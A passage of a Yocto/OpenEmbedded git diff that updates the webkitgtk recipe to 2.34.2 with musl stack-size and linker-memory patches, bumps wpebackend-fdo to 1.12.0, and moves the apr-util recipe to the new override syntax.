+From 358a8f053c367aab7fba8ab059244e0530c7ff82 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 17 Mar 2021 13:24:57 -0700
+Subject: [PATCH] reduce thread stack and heap usage for javascriptcore on musl
+
+default sizes for musl are smaller compared to glibc, this matches
+to musl defaults, avoid stack overflow crashes in jscore
+
+This is based on Alpine Linux's patch based on suggestion from
+https://bugs.webkit.org/show_bug.cgi?id=187485
+
+Real solution would entail more as the suggestions to increase
+stack size via -Wl,-z,stack-size=N does not work fully and also
+setting DEFAULT_THREAD_STACK_SIZE_IN_KB alone is not enough either
+
+This patch only changes behavior when using musl, the defaults for
+glibc in OE remains same
+
+Upstream-Status: Accepted
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+---
+ Source/JavaScriptCore/runtime/OptionsList.h | 18 +++++++++++++++---
+ Source/WTF/wtf/Threading.h | 4 ++++
+ 2 files changed, 19 insertions(+), 3 deletions(-)
+
+diff --git a/Source/JavaScriptCore/runtime/OptionsList.h b/Source/JavaScriptCore/runtime/OptionsList.h
+index a0c2170e..9e107af7 100644
+--- a/Source/JavaScriptCore/runtime/OptionsList.h
++++ b/Source/JavaScriptCore/runtime/OptionsList.h
+@@ -77,6 +77,18 @@ bool canUseWebAssemblyFastMemory();
+ // On instantiation of the first VM instance, the Options will be write protected
+ // and cannot be modified thereafter.
+
++#if OS(LINUX) && !defined(__GLIBC__)
++// non-glibc options on linux ( musl )
++constexpr unsigned jscMaxPerThreadStack = 128 * KB;
++constexpr unsigned jscSoftReservedZoneSize = 32 * KB;
++constexpr unsigned jscReservedZoneSize = 16 * KB;
++#else
++//default
++constexpr unsigned jscMaxPerThreadStack = 4 * MB;
++constexpr unsigned jscSoftReservedZoneSize = 128 * KB;
++constexpr unsigned jscReservedZoneSize = 64 * KB;
++#endif
++
+ #define FOR_EACH_JSC_OPTION(v) \
+ v(Bool, useKernTCSM, defaultTCSMValue(), Normal, "Note: this needs to go before other options since they depend on this value.") \
+ v(Bool, validateOptions, false, Normal, "crashes if mis-typed JSC options were passed to the VM") \
+@@ -92,9 +104,9 @@ bool canUseWebAssemblyFastMemory();
+ \
+ v(Bool, reportMustSucceedExecutableAllocations, false, Normal, nullptr) \
+ \
+- v(Unsigned, maxPerThreadStackUsage, 5 * MB, Normal, "Max allowed stack usage by the VM") \
+- v(Unsigned, softReservedZoneSize, 128 * KB, Normal, "A buffer greater than reservedZoneSize that reserves space for stringifying exceptions.") \
+- v(Unsigned, reservedZoneSize, 64 * KB, Normal, "The amount of stack space we guarantee to our clients (and to interal VM code that does not call out to clients).") \
++ v(Unsigned, maxPerThreadStackUsage, jscMaxPerThreadStack, Normal, "Max allowed stack usage by the VM") \
++ v(Unsigned, softReservedZoneSize, jscSoftReservedZoneSize, Normal, "A buffer greater than reservedZoneSize that reserves space for stringifying exceptions.") \
++ v(Unsigned, reservedZoneSize, jscReservedZoneSize, Normal, "The amount of stack space we guarantee to our clients (and to interal VM code that does not call out to clients).") \
+ \
+ v(Bool, crashOnDisallowedVMEntry, ASSERT_ENABLED, Normal, "Forces a crash if we attempt to enter the VM when disallowed") \
+ v(Bool, crashIfCantAllocateJITMemory, false, Normal, nullptr) \
+diff --git a/Source/WTF/wtf/Threading.h b/Source/WTF/wtf/Threading.h
+index 178f9808..95ec5a85 100644
+--- a/Source/WTF/wtf/Threading.h
++++ b/Source/WTF/wtf/Threading.h
+@@ -67,6 +67,10 @@
+ #undef None
+ #endif
+
++#if OS(LINUX) && !defined(__GLIBC__)
++#define DEFAULT_THREAD_STACK_SIZE_IN_KB 128
++#endif
++
+ namespace WTF {
+
+ class AbstractLocker;
diff --git a/meta/recipes-sato/webkit/webkitgtk/reduce-memory-overheads.patch b/meta/recipes-sato/webkit/webkitgtk/reduce-memory-overheads.patch
new file mode 100644
index 0000000000..907d36c4cd
--- /dev/null
+++ b/meta/recipes-sato/webkit/webkitgtk/reduce-memory-overheads.patch
@@ -0,0 +1,28 @@
+From ec6045fcf5a46123b54029a675d08d89a5e30f21 Mon Sep 17 00:00:00 2001
+From: Alberto Garcia <berto@igalia.com>
+Date: Sun, 25 Apr 2021 18:45:13 +0000
+Subject: [PATCH] Reduce memory usage when not using the Gold linker
+
+Upstream-Status: Submitted [https://bugs.webkit.org/show_bug.cgi?id=232938]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+---
+ Source/cmake/OptionsCommon.cmake | 5 +++++
+ 1 file changed, 5 insertions(+)
+
+diff --git a/Source/cmake/OptionsCommon.cmake b/Source/cmake/OptionsCommon.cmake
+index dd4da682..71ad6106 100644
+--- a/Source/cmake/OptionsCommon.cmake
++++ b/Source/cmake/OptionsCommon.cmake
+@@ -101,6 +101,11 @@ option(GCC_OFFLINEASM_SOURCE_MAP
+ ${GCC_OFFLINEASM_SOURCE_MAP_DEFAULT})
+
+ option(USE_APPLE_ICU "Use Apple's internal ICU" ${APPLE})
++# Pass --reduce-memory-overheads to the bfd linker in order to save memory
++if (NOT USE_LD_GOLD)
++ set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} -Wl,--reduce-memory-overheads")
++ set(CMAKE_SHARED_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} -Wl,--reduce-memory-overheads")
++endif ()
+
+ # Enable the usage of OpenMP.
+ # - At this moment, OpenMP is only used as an alternative implementation
diff --git a/meta/recipes-sato/webkit/webkitgtk_2.30.2.bb b/meta/recipes-sato/webkit/webkitgtk_2.30.2.bb
deleted file mode 100644
index 58b66c0f66..0000000000
--- a/meta/recipes-sato/webkit/webkitgtk_2.30.2.bb
+++ /dev/null
@@ -1,136 +0,0 @@
-SUMMARY = "WebKit web rendering engine for the GTK+ platform"
-HOMEPAGE = "https://www.webkitgtk.org/"
-BUGTRACKER = "https://bugs.webkit.org/"
-
-LICENSE = "BSD & LGPLv2+"
-LIC_FILES_CHKSUM = "file://Source/JavaScriptCore/COPYING.LIB;md5=d0c6d6397a5d84286dda758da57bd691 \
- file://Source/WebCore/LICENSE-APPLE;md5=4646f90082c40bcf298c285f8bab0b12 \
- file://Source/WebCore/LICENSE-LGPL-2;md5=36357ffde2b64ae177b2494445b79d21 \
- file://Source/WebCore/LICENSE-LGPL-2.1;md5=a778a33ef338abbaf8b8a7c36b6eec80 \
- "
-
-SRC_URI = "https://www.webkitgtk.org/releases/${BPN}-${PV}.tar.xz \
- file://0001-FindGObjectIntrospection.cmake-prefix-variables-obta.patch \
- file://0001-When-building-introspection-files-add-CMAKE_C_FLAGS-.patch \
- file://0001-Fix-racy-parallel-build-of-WebKit2-4.0.gir.patch \
- file://0001-Tweak-gtkdoc-settings-so-that-gtkdoc-generation-work.patch \
- file://0001-Enable-THREADS_PREFER_PTHREAD_FLAG.patch \
- file://0001-Fix-build-with-musl.patch \
- file://include_array.patch \
- file://include_xutil.patch \
- file://0001-ICU-68.1-no-longer-exposes-FALSE-and-TRUE-macros-by-.patch \
- "
-SRC_URI[sha256sum] = "c467e0bc2bc610c2570928e3fd63cedaadc4719cbf9b04aa99f79dd71ad5682a"
-
-inherit cmake pkgconfig gobject-introspection perlnative features_check upstream-version-is-even gtk-doc
-
-ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
-REQUIRED_DISTRO_FEATURES = "${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'opengl', '', d)}"
-
-CVE_PRODUCT = "webkitgtk webkitgtk\+"
-
-DEPENDS = "zlib libsoup-2.4 curl libxml2 cairo libxslt libgcrypt \
- gtk+3 gstreamer1.0 gstreamer1.0-plugins-base flex-native gperf-native sqlite3 \
- pango icu bison-native gawk intltool-native libwebp \
- atk udev harfbuzz jpeg libpng librsvg libtheora libvorbis \
- ruby-native libnotify gstreamer1.0-plugins-bad \
- gettext-native glib-2.0 glib-2.0-native libtasn1 \
- "
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd wayland x11', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'x11 opengl', 'webgl opengl', '', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'x11', '', 'webgl gles2', d)} \
- enchant \
- libsecret \
- "
-
-PACKAGECONFIG[wayland] = "-DENABLE_WAYLAND_TARGET=ON,-DENABLE_WAYLAND_TARGET=OFF,wayland libwpe wpebackend-fdo wayland-native"
-PACKAGECONFIG[x11] = "-DENABLE_X11_TARGET=ON,-DENABLE_X11_TARGET=OFF,virtual/libx11 libxcomposite libxdamage libxrender libxt"
-PACKAGECONFIG[geoclue] = "-DENABLE_GEOLOCATION=ON,-DENABLE_GEOLOCATION=OFF,geoclue"
-PACKAGECONFIG[enchant] = "-DENABLE_SPELLCHECK=ON,-DENABLE_SPELLCHECK=OFF,enchant2"
-PACKAGECONFIG[gles2] = "-DENABLE_GLES2=ON,-DENABLE_GLES2=OFF,virtual/libgles2"
-PACKAGECONFIG[webgl] = "-DENABLE_WEBGL=ON,-DENABLE_WEBGL=OFF,virtual/libgl"
-PACKAGECONFIG[opengl] = "-DENABLE_GRAPHICS_CONTEXT_GL=ON,-DENABLE_GRAPHICS_CONTEXT_GL=OFF,virtual/libgl"
-PACKAGECONFIG[libsecret] = "-DUSE_LIBSECRET=ON,-DUSE_LIBSECRET=OFF,libsecret"
-PACKAGECONFIG[libhyphen] = "-DUSE_LIBHYPHEN=ON,-DUSE_LIBHYPHEN=OFF,libhyphen"
-PACKAGECONFIG[woff2] = "-DUSE_WOFF2=ON,-DUSE_WOFF2=OFF,woff2"
-PACKAGECONFIG[openjpeg] = "-DUSE_OPENJPEG=ON,-DUSE_OPENJPEG=OFF,openjpeg"
-PACKAGECONFIG[systemd] = "-DUSE_SYSTEMD=ON,-DUSE_SYSTEMD=off,systemd"
-
-# webkitgtk is full of /usr/bin/env python, particular for generating docs
-do_configure[postfuncs] += "setup_python_link"
-setup_python_link() {
- if [ ! -e ${STAGING_BINDIR_NATIVE}/python ]; then
- ln -s `which python3` ${STAGING_BINDIR_NATIVE}/python
- fi
-}
-
-EXTRA_OECMAKE = " \
- -DPORT=GTK \
- -DCMAKE_BUILD_TYPE=Release \
- ${@bb.utils.contains('GI_DATA_ENABLED', 'True', '-DENABLE_INTROSPECTION=ON', '-DENABLE_INTROSPECTION=OFF', d)} \
- ${@bb.utils.contains('GTKDOC_ENABLED', 'True', '-DENABLE_GTKDOC=ON', '-DENABLE_GTKDOC=OFF', d)} \
- -DENABLE_MINIBROWSER=ON \
- -DPYTHON_EXECUTABLE=`which python3` \
- -DENABLE_BUBBLEWRAP_SANDBOX=OFF \
- "
-
-# Javascript JIT is not supported on ARC
-EXTRA_OECMAKE_append_arc = " -DENABLE_JIT=OFF "
-# By default 25-bit "medium" calls are used on ARC
-# which is not enough for binaries larger than 32 MiB
-CFLAGS_append_arc = " -mlong-calls"
-CXXFLAGS_append_arc = " -mlong-calls"
-
-# Javascript JIT is not supported on powerpc
-EXTRA_OECMAKE_append_powerpc = " -DENABLE_JIT=OFF "
-EXTRA_OECMAKE_append_powerpc64 = " -DENABLE_JIT=OFF "
-
-# ARM JIT code does not build on ARMv4/5/6 anymore
-EXTRA_OECMAKE_append_armv5 = " -DENABLE_JIT=OFF "
-EXTRA_OECMAKE_append_armv6 = " -DENABLE_JIT=OFF "
-EXTRA_OECMAKE_append_armv4 = " -DENABLE_JIT=OFF "
-
-EXTRA_OECMAKE_append_mipsarch = " -DUSE_LD_GOLD=OFF "
-EXTRA_OECMAKE_append_powerpc = " -DUSE_LD_GOLD=OFF "
-
-# JIT and gold linker does not work on RISCV
-EXTRA_OECMAKE_append_riscv32 = " -DUSE_LD_GOLD=OFF -DENABLE_JIT=OFF"
-EXTRA_OECMAKE_append_riscv64 = " -DUSE_LD_GOLD=OFF -DENABLE_JIT=OFF"
-
-# JIT not supported on MIPS either
-EXTRA_OECMAKE_append_mipsarch = " -DENABLE_JIT=OFF -DENABLE_C_LOOP=ON "
-
-# JIT not supported on X32
-# An attempt was made to upstream JIT support for x32 in
-# https://bugs.webkit.org/show_bug.cgi?id=100450, but this was closed as
-# unresolved due to limited X32 adoption.
-EXTRA_OECMAKE_append_x86-x32 = " -DENABLE_JIT=OFF "
-
-SECURITY_CFLAGS_remove_aarch64 = "-fpie"
-SECURITY_CFLAGS_append_aarch64 = " -fPIE"
-
-FILES_${PN} += "${libdir}/webkit2gtk-4.0/injected-bundle/libwebkit2gtkinjectedbundle.so"
-
-RRECOMMENDS_${PN} += "ca-certificates shared-mime-info"
-
-# http://errors.yoctoproject.org/Errors/Details/20370/
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-ARM_INSTRUCTION_SET_armv6 = "arm"
-
-# https://bugzilla.yoctoproject.org/show_bug.cgi?id=9474
-# https://bugs.webkit.org/show_bug.cgi?id=159880
-# JSC JIT can build on ARMv7 with -marm, but doesn't work on runtime.
-# Upstream only tests regularly the JSC JIT on ARMv7 with Thumb2 (-mthumb).
-ARM_INSTRUCTION_SET_armv7a = "thumb"
-ARM_INSTRUCTION_SET_armv7r = "thumb"
-ARM_INSTRUCTION_SET_armv7ve = "thumb"
-
-# introspection inside qemu-arm hangs forever on musl/arm builds
-# therefore disable GI_DATA
-GI_DATA_ENABLED_libc-musl_armv7a = "False"
-GI_DATA_ENABLED_libc-musl_armv7ve = "False"
-
-# Can't be built with ccache
-CCACHE_DISABLE = "1"
diff --git a/meta/recipes-sato/webkit/webkitgtk_2.34.2.bb b/meta/recipes-sato/webkit/webkitgtk_2.34.2.bb
new file mode 100644
index 0000000000..a9b151e3c3
--- /dev/null
+++ b/meta/recipes-sato/webkit/webkitgtk_2.34.2.bb
@@ -0,0 +1,166 @@
+SUMMARY = "WebKit web rendering engine for the GTK+ platform"
+HOMEPAGE = "https://www.webkitgtk.org/"
+BUGTRACKER = "https://bugs.webkit.org/"
+
+LICENSE = "BSD-2-Clause & LGPLv2+"
+LIC_FILES_CHKSUM = "file://Source/JavaScriptCore/COPYING.LIB;md5=d0c6d6397a5d84286dda758da57bd691 \
+ file://Source/WebCore/LICENSE-APPLE;md5=4646f90082c40bcf298c285f8bab0b12 \
+ file://Source/WebCore/LICENSE-LGPL-2;md5=36357ffde2b64ae177b2494445b79d21 \
+ file://Source/WebCore/LICENSE-LGPL-2.1;md5=a778a33ef338abbaf8b8a7c36b6eec80 \
+ "
+
+SRC_URI = "https://www.webkitgtk.org/releases/${BPN}-${PV}.tar.xz \
+ file://0001-FindGObjectIntrospection.cmake-prefix-variables-obta.patch \
+ file://0001-When-building-introspection-files-add-CMAKE_C_FLAGS-.patch \
+ file://0001-Fix-racy-parallel-build-of-WebKit2-4.0.gir.patch \
+ file://0001-Tweak-gtkdoc-settings-so-that-gtkdoc-generation-work.patch \
+ file://0001-Enable-THREADS_PREFER_PTHREAD_FLAG.patch \
+ file://reduce-memory-overheads.patch \
+ file://musl-lower-stack-usage.patch \
+ file://0001-Fix-build-without-opengl-or-es.patch \
+ "
+
+SRC_URI[sha256sum] = "584677d6e7cae12e27cdcc8e05b4cf73b54849a24afc3d7a40cec91016deff00"
+
+inherit cmake pkgconfig gobject-introspection perlnative features_check upstream-version-is-even gtk-doc
+
+ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
+REQUIRED_DISTRO_FEATURES = "${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'opengl', '', d)}"
+
+CVE_PRODUCT = "webkitgtk webkitgtk\+"
+
+DEPENDS = " \
+ ruby-native \
+ gperf-native \
+ cairo \
+ harfbuzz \
+ jpeg \
+ atk \
+ libwebp \
+ gtk+3 \
+ libxslt \
+ libtasn1 \
+ libnotify \
+ gstreamer1.0 \
+ gstreamer1.0-plugins-base \
+ "
+
+PACKAGECONFIG_SOUP ?= "soup2"
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd wayland x11', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'x11 opengl', 'webgl opengl', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'x11', '', 'webgl gles2 angle', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'opengl-or-es', '', d)} \
+ enchant \
+ libsecret \
+ ${PACKAGECONFIG_SOUP} \
+ "
+
+PACKAGECONFIG[wayland] = "-DENABLE_WAYLAND_TARGET=ON,-DENABLE_WAYLAND_TARGET=OFF,wayland libwpe wpebackend-fdo wayland-native"
+PACKAGECONFIG[angle] = "-DUSE_ANGLE_WEBGL=ON,-DUSE_ANGLE_WEBGL=OFF"
+PACKAGECONFIG[x11] = "-DENABLE_X11_TARGET=ON,-DENABLE_X11_TARGET=OFF,virtual/libx11 libxcomposite libxdamage libxrender libxt"
+PACKAGECONFIG[geoclue] = "-DENABLE_GEOLOCATION=ON,-DENABLE_GEOLOCATION=OFF,geoclue"
+PACKAGECONFIG[enchant] = "-DENABLE_SPELLCHECK=ON,-DENABLE_SPELLCHECK=OFF,enchant2"
+PACKAGECONFIG[gles2] = "-DENABLE_GLES2=ON,-DENABLE_GLES2=OFF,virtual/libgles2"
+PACKAGECONFIG[webgl] = "-DENABLE_WEBGL=ON,-DENABLE_WEBGL=OFF,virtual/libgl"
+PACKAGECONFIG[opengl] = "-DENABLE_GRAPHICS_CONTEXT_GL=ON,-DENABLE_GRAPHICS_CONTEXT_GL=OFF,virtual/libgl"
+PACKAGECONFIG[opengl-or-es] = "-DUSE_OPENGL_OR_ES=ON,-DUSE_OPENGL_OR_ES=OFF"
+PACKAGECONFIG[libsecret] = "-DUSE_LIBSECRET=ON,-DUSE_LIBSECRET=OFF,libsecret"
+PACKAGECONFIG[libhyphen] = "-DUSE_LIBHYPHEN=ON,-DUSE_LIBHYPHEN=OFF,libhyphen"
+PACKAGECONFIG[woff2] = "-DUSE_WOFF2=ON,-DUSE_WOFF2=OFF,woff2"
+PACKAGECONFIG[openjpeg] = "-DUSE_OPENJPEG=ON,-DUSE_OPENJPEG=OFF,openjpeg"
+PACKAGECONFIG[systemd] = "-DUSE_SYSTEMD=ON,-DUSE_SYSTEMD=off,systemd"
+PACKAGECONFIG[reduce-size] = "-DCMAKE_BUILD_TYPE=MinSizeRel,-DCMAKE_BUILD_TYPE=Release,,"
+PACKAGECONFIG[lcms] = "-DUSE_LCMS=ON,-DUSE_LCMS=OFF,lcms"
+PACKAGECONFIG[soup2] = "-DUSE_SOUP2=ON,-DUSE_SOUP2=OFF,libsoup-2.4,,,soup3"
+PACKAGECONFIG[soup3] = ",,libsoup,,,soup2"
+
+# webkitgtk is full of /usr/bin/env python, particular for generating docs
+do_configure[postfuncs] += "setup_python_link"
+setup_python_link() {
+ if [ ! -e ${STAGING_BINDIR_NATIVE}/python ]; then
+ ln -s `which python3` ${STAGING_BINDIR_NATIVE}/python
+ fi
+}
+
+EXTRA_OECMAKE = " \
+ -DPORT=GTK \
+ ${@bb.utils.contains('GI_DATA_ENABLED', 'True', '-DENABLE_INTROSPECTION=ON', '-DENABLE_INTROSPECTION=OFF', d)} \
+ ${@bb.utils.contains('GTKDOC_ENABLED', 'True', '-DENABLE_GTKDOC=ON', '-DENABLE_GTKDOC=OFF', d)} \
+ -DENABLE_MINIBROWSER=ON \
+ -DPYTHON_EXECUTABLE=`which python3` \
+ -DENABLE_BUBBLEWRAP_SANDBOX=OFF \
+ -DENABLE_GAMEPAD=OFF \
+ "
+
+# Javascript JIT is not supported on ARC
+EXTRA_OECMAKE:append:arc = " -DENABLE_JIT=OFF "
+# By default 25-bit "medium" calls are used on ARC
+# which is not enough for binaries larger than 32 MiB
+CFLAGS:append:arc = " -mlong-calls"
+CXXFLAGS:append:arc = " -mlong-calls"
+
+# Javascript JIT is not supported on powerpc
+EXTRA_OECMAKE:append:powerpc = " -DENABLE_JIT=OFF "
+EXTRA_OECMAKE:append:powerpc64 = " -DENABLE_JIT=OFF "
+
+# ARM JIT code does not build on ARMv4/5/6 anymore
+EXTRA_OECMAKE:append:armv5 = " -DENABLE_JIT=OFF "
+EXTRA_OECMAKE:append:armv6 = " -DENABLE_JIT=OFF "
+EXTRA_OECMAKE:append:armv4 = " -DENABLE_JIT=OFF "
+
+EXTRA_OECMAKE:append:mipsarch = " -DUSE_LD_GOLD=OFF "
+EXTRA_OECMAKE:append:powerpc = " -DUSE_LD_GOLD=OFF "
+
+# JIT and gold linker does not work on RISCV
+EXTRA_OECMAKE:append:riscv32 = " -DUSE_LD_GOLD=OFF -DENABLE_JIT=OFF"
+EXTRA_OECMAKE:append:riscv64 = " -DUSE_LD_GOLD=OFF -DENABLE_JIT=OFF"
+
+# JIT not supported on MIPS either
+EXTRA_OECMAKE:append:mipsarch = " -DENABLE_JIT=OFF -DENABLE_C_LOOP=ON "
+
+# JIT not supported on X32
+# An attempt was made to upstream JIT support for x32 in
+# https://bugs.webkit.org/show_bug.cgi?id=100450, but this was closed as
+# unresolved due to limited X32 adoption.
+EXTRA_OECMAKE:append:x86-x32 = " -DENABLE_JIT=OFF "
+
+SECURITY_CFLAGS:remove:aarch64 = "-fpie"
+SECURITY_CFLAGS:append:aarch64 = " -fPIE"
+
+FILES:${PN} += "${libdir}/webkit2gtk-4.*/injected-bundle/libwebkit2gtkinjectedbundle.so"
+
+RRECOMMENDS:${PN} += "ca-certificates shared-mime-info"
+
+# http://errors.yoctoproject.org/Errors/Details/20370/
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+ARM_INSTRUCTION_SET:armv6 = "arm"
+
+# https://bugzilla.yoctoproject.org/show_bug.cgi?id=9474
+# https://bugs.webkit.org/show_bug.cgi?id=159880
+# JSC JIT can build on ARMv7 with -marm, but doesn't work on runtime.
+# Upstream only tests regularly the JSC JIT on ARMv7 with Thumb2 (-mthumb).
+ARM_INSTRUCTION_SET:armv7a = "thumb"
+ARM_INSTRUCTION_SET:armv7r = "thumb"
+ARM_INSTRUCTION_SET:armv7ve = "thumb"
+
+# introspection inside qemu-arm hangs forever on musl/arm builds
+# therefore disable GI_DATA
+GI_DATA_ENABLED:libc-musl:armv7a = "False"
+GI_DATA_ENABLED:libc-musl:armv7ve = "False"
+
+# Can't be built with ccache
+CCACHE_DISABLE = "1"
+
+PACKAGE_PREPROCESS_FUNCS += "src_package_preprocess"
+src_package_preprocess () {
+ # Trim build paths from comments in generated sources to ensure reproducibility
+ sed -i -e "s,${WORKDIR},,g" \
+ ${B}/JavaScriptCore/DerivedSources/*.h \
+ ${B}/JavaScriptCore/DerivedSources/yarr/*.h \
+ ${B}/JavaScriptCore/PrivateHeaders/JavaScriptCore/*.h \
+ ${B}/WebKit2Gtk/DerivedSources/webkit2/*.cpp \
+ ${B}/WebKit2Gtk/DerivedSources/webkit2/*.h
+
+}
+
diff --git a/meta/recipes-sato/webkit/wpebackend-fdo_1.12.0.bb b/meta/recipes-sato/webkit/wpebackend-fdo_1.12.0.bb
new file mode 100644
index 0000000000..4a18467ea4
--- /dev/null
+++ b/meta/recipes-sato/webkit/wpebackend-fdo_1.12.0.bb
@@ -0,0 +1,24 @@
+SUMMARY = "WPE's backend based on a freedesktop.org stack."
+HOMEPAGE = "https://github.com/Igalia/WPEBackend-fdo"
+BUGTRACKER = "https://github.com/Igalia/WPEBackend-fdo/issues"
+
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1f62cef2e3645e3e74eb05fd389d7a66"
+DEPENDS = "glib-2.0 libxkbcommon wayland virtual/egl libwpe libepoxy"
+
+DEPENDS:append:class-target = " wayland-native"
+
+inherit meson features_check pkgconfig
+
+REQUIRED_DISTRO_FEATURES = "opengl"
+
+SRC_URI = "https://wpewebkit.org/releases/${BPN}-${PV}.tar.xz"
+SRC_URI[sha256sum] = "6239c9c15523410798d66315de6b491712ab30009ba180f3e0dd076d9b0074ac"
+
+# Especially helps compiling with clang which enable this as error when
+# using c++11
+CXXFLAGS += "-Wno-c++11-narrowing"
+
+# This is a tweak of upstream-version-is-even needed because
+# ipstream directory contains tarballs for other components as well.
+UPSTREAM_CHECK_REGEX = "wpebackend-fdo-(?P<pver>\d+\.(\d*[02468])+(\.\d+)+)\.tar"
diff --git a/meta/recipes-sato/webkit/wpebackend-fdo_1.8.0.bb b/meta/recipes-sato/webkit/wpebackend-fdo_1.8.0.bb
deleted file mode 100644
index 69d6098d36..0000000000
--- a/meta/recipes-sato/webkit/wpebackend-fdo_1.8.0.bb
+++ /dev/null
@@ -1,17 +0,0 @@
-SUMMARY = "WPE's backend based on a freedesktop.org stack."
-HOMEPAGE = "https://github.com/Igalia/WPEBackend-fdo"
-BUGTRACKER = "https://github.com/Igalia/WPEBackend-fdo/issues"
-
-LICENSE = "BSD"
-LIC_FILES_CHKSUM = "file://COPYING;md5=1f62cef2e3645e3e74eb05fd389d7a66"
-DEPENDS = "glib-2.0 libxkbcommon wayland virtual/egl libwpe libepoxy"
-
-DEPENDS_append_class-target = " wayland-native"
-
-inherit meson features_check
-
-REQUIRED_DISTRO_FEATURES = "opengl"
-
-SRC_URI = "https://wpewebkit.org/releases/${BPN}-${PV}.tar.xz"
-SRC_URI[sha256sum] = "9652a99c75fe1c6eab0585b6395f4e104b2427e4d1f42969f1f77df29920d253"
-
diff --git a/meta/recipes-support/apr/apr-util/0001-Fix-error-handling-in-gdbm.patch b/meta/recipes-support/apr/apr-util/0001-Fix-error-handling-in-gdbm.patch
index 57e7453312..6f27876a7f 100644
--- a/meta/recipes-support/apr/apr-util/0001-Fix-error-handling-in-gdbm.patch
+++ b/meta/recipes-support/apr/apr-util/0001-Fix-error-handling-in-gdbm.patch
@@ -13,8 +13,7 @@ what the berkleydb driver already does.
Also ensure that dsize is 0 if dptr == NULL.
-Upstream-Status: Backport[https://svn.apache.org/viewvc?
-view=revision&amp;revision=1825311]
+Upstream-Status: Backport [https://svn.apache.org/viewvc?view=revision&amp;revision=1825311]
Signed-off-by: Changqing Li <changqing.li@windriver.com>
---
diff --git a/meta/recipes-support/apr/apr-util_1.6.1.bb b/meta/recipes-support/apr/apr-util_1.6.1.bb
index 0dd8f025e8..b851d46351 100644
--- a/meta/recipes-support/apr/apr-util_1.6.1.bb
+++ b/meta/recipes-support/apr/apr-util_1.6.1.bb
@@ -19,10 +19,9 @@ SRC_URI = "${APACHE_MIRROR}/apr/${BPN}-${PV}.tar.gz \
SRC_URI[md5sum] = "bd502b9a8670a8012c4d90c31a84955f"
SRC_URI[sha256sum] = "b65e40713da57d004123b6319828be7f1273fbc6490e145874ee1177e112c459"
-EXTRA_OECONF = "--with-apr=${STAGING_BINDIR_CROSS}/apr-1-config \
+EXTRA_OECONF = "--with-apr=${STAGING_BINDIR_CROSS}/apr-1-config \
--without-odbc \
--without-pgsql \
- --with-dbm=gdbm \
--without-sqlite2 \
--with-expat=${STAGING_DIR_HOST}${prefix}"
@@ -33,33 +32,35 @@ MULTILIB_SCRIPTS = "${PN}-dev:${bindir}/apu-1-config"
OE_BINCONFIG_EXTRA_MANGLE = " -e 's:location=source:location=installed:'"
-do_configure_append() {
+do_configure:append() {
if [ "${CLASSOVERRIDE}" = "class-target" ]; then
cp ${STAGING_DATADIR}/apr/apr_rules.mk ${B}/build/rules.mk
+ sed -i -e 's#^CFLAGS=.*#CFLAGS=${TARGET_CFLAGS}#g' ${B}/build/rules.mk
fi
}
-do_configure_prepend_class-native() {
+do_configure:prepend:class-native() {
mkdir ${B}/build
cp ${STAGING_DATADIR_NATIVE}/apr/apr_rules.mk ${B}/build/rules.mk
}
-do_configure_append_class-native() {
+do_configure:append:class-native() {
sed -i "s#LIBTOOL=\$(SHELL) \$(apr_builddir)#LIBTOOL=\$(SHELL) ${STAGING_BINDIR_NATIVE}#" ${B}/build/rules.mk
# sometimes there isn't SHELL
sed -i "s#LIBTOOL=\$(apr_builddir)#LIBTOOL=${STAGING_BINDIR_NATIVE}#" ${B}/build/rules.mk
}
-do_configure_prepend_class-nativesdk() {
+do_configure:prepend:class-nativesdk() {
cp ${STAGING_DATADIR}/apr/apr_rules.mk ${S}/build/rules.mk
+ sed -i -e 's#^CFLAGS=.*#CFLAGS=${TARGET_CFLAGS}#g' ${S}/build/rules.mk
}
-do_configure_append_class-nativesdk() {
+do_configure:append:class-nativesdk() {
sed -i "s#\(apr_builddir\)=.*#\1=${STAGING_DATADIR}/build-1#" ${B}/build/rules.mk
sed -i "s#\(apr_builders\)=.*#\1=${STAGING_DATADIR}/build-1#" ${B}/build/rules.mk
sed -i "s#\(top_builddir\)=.*#\1=${STAGING_DATADIR}/build-1#" ${B}/build/rules.mk
sed -i "s#\(LIBTOOL=\$(apr_builddir)\).*#\1/libtool#" ${B}/build/rules.mk
}
-do_install_append_class-target() {
+do_install:append:class-target() {
sed -i -e 's,${STAGING_DIR_HOST},,g' \
-e 's,APU_SOURCE_DIR=.*,APR_SOURCE_DIR=,g' \
-e 's,APU_BUILD_DIR=.*,APR_BUILD_DIR=,g' ${D}${bindir}/apu-1-config
@@ -69,19 +70,19 @@ PACKAGECONFIG ??= "crypto gdbm"
PACKAGECONFIG[ldap] = "--with-ldap,--without-ldap,openldap"
PACKAGECONFIG[crypto] = "--with-openssl=${STAGING_DIR_HOST}${prefix} --with-crypto,--without-crypto,openssl"
PACKAGECONFIG[sqlite3] = "--with-sqlite3=${STAGING_DIR_HOST}${prefix},--without-sqlite3,sqlite3"
-PACKAGECONFIG[gdbm] = "--with-gdbm=${STAGING_DIR_HOST}${prefix},--without-gdbm,gdbm"
+PACKAGECONFIG[gdbm] = "--with-dbm=gdbm --with-gdbm=${STAGING_DIR_HOST}${prefix},--without-gdbm,gdbm"
